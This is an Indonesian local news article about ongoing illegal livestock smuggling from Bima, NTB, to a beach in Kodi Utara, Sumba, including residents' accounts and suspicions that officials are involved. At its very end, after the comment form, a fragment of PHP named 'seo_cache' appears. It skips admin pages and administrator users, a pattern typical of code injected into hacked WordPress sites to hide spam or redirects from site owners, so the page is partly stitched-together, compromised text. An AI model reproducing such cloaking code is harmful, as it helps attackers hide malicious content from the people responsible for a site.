Hukum

Tak Juga Jera, Penyelundupan Ternak dari NTB ke SBD Terus Berlangsung

×

Tak Juga Jera, Penyelundupan Ternak dari NTB ke SBD Terus Berlangsung

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Penyelundupan ternak asal Bima, NTB masih terus berlangsung.

Tak juga jera, para penyelundup terus beraksi meski pada 24 Oktober 2025 lalu pernah terungkap dan viral di media.

Tulang kepala ternak dan kotoran yang nampak masih baru saat diambil gambarnya di Pantai Pahewa pada Senin (12/01/2026) lalu. ( Foto Menara Sumba )

Sejumlah data investigasi menarasumba.com menyebut, penyelundupan terakhir masih terjadi pada Sabtu (10/01/2026).

Jejak itu terlihat di Pantai Pahewa, Desa Moro Manduyo, Kecamatan Kodi Utara, lokasi yang selama ini dijadikan tempat pendaratan ternak ilegal tersebut.

Efek jera atas penggerebekan Polair beberapa waktu lalu sama sekali tidak nampak kendati ada oknum aparat yang telah mengakui aksi penyelundupan ternak ini.

Penangkapan pada Jumat (24/10/2025) menggegerkan publik dan viral di dunia maya, karena diduga perahu berisi ternak selundupan yang ditolak pihak Karantina Waikelo tetap juga balik arah untuk bongkar muatan di Pantai Pahewa.

Jejak penyelundupan ternak di pantai yang masih berlokasi dalam Desa Moro Manduyo, Kecamatan Kodi Utara ini nampak jelas pada Senin (12/01/2026) tersebut.

Kotoran ternak yang menumpuk dan masih lunak, bekas pijakan kuku ternak, termasuk rerumputan yang terlindas ban mobil sangat jelas terlihat.

“Di kebun saya juga ada jejak kuku ternak yang ditarik melintas dari bibir pantai,” ungkap salah seorang warga pemilik kebun.

Dalam investigasi awak media, Senin (12/01/2026) sore itu terlihat pula belulang kepala kerbau atau mungkin sapi yang tergeletak di rerumputan pinggir pantai.

Palet kayu yang digunakan untuk mengepak barang dalam kapal dibuang begitu saja dalam semak di pinggir pantai. ( Foto Menara Sumba )

Kuat dugaan bahwa itu adalah tengkorak ternak yang mati, dagingnya dibagi-bagi dan kepalanya ditinggalkan begitu saja.

Pasalnya, sempat viral di media sosial foto seekor kerbau yang tergeletak mati di pinggir pantai.

Nampak pula palet dari potongan kayu yang diduga sebagai pengepak barang dibuang dalam semak di bibir pantai itu.

“Informasi yang kami dengar, masih ada beberapa ekor kerbau dan babi yang belum dikirim karena masih menanti setoran dari pemesannya,” beber salah satu warga Moro Manduyo.

Rupanya pemberitaan awak media yang sebelum itu gencar dan viral tidak menimbulkan efek jera.

Diduga, pesta adat yang terus berlangsung hingga bulan Desember 2025 di wilayah Kodi jadi salah satu pemicu meningkatnya angka penyelundupan ternak dari Bima, NTB.

Pemerintah daerah terlihat mati langkah tidak berdaya dalam sikap pasif, dan ditengarai pula sejumlah oknum aparat ikut bermain bahkan jadi aktor utama dalam aksi penyelundupan ternak ini.

Salah seorang warga mengungkapkan kekhawatirannya jika ternak asal NTB ini membawa penyakit mulut dan kuku seperti yang ramai diberitakan media.

“Kami harap pemerintah tidak tutup mata dan hanya berdiam diri karena usaha ternak rakyat jadi terancam,” pinta Gusti, warga Desa Mangganipi. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>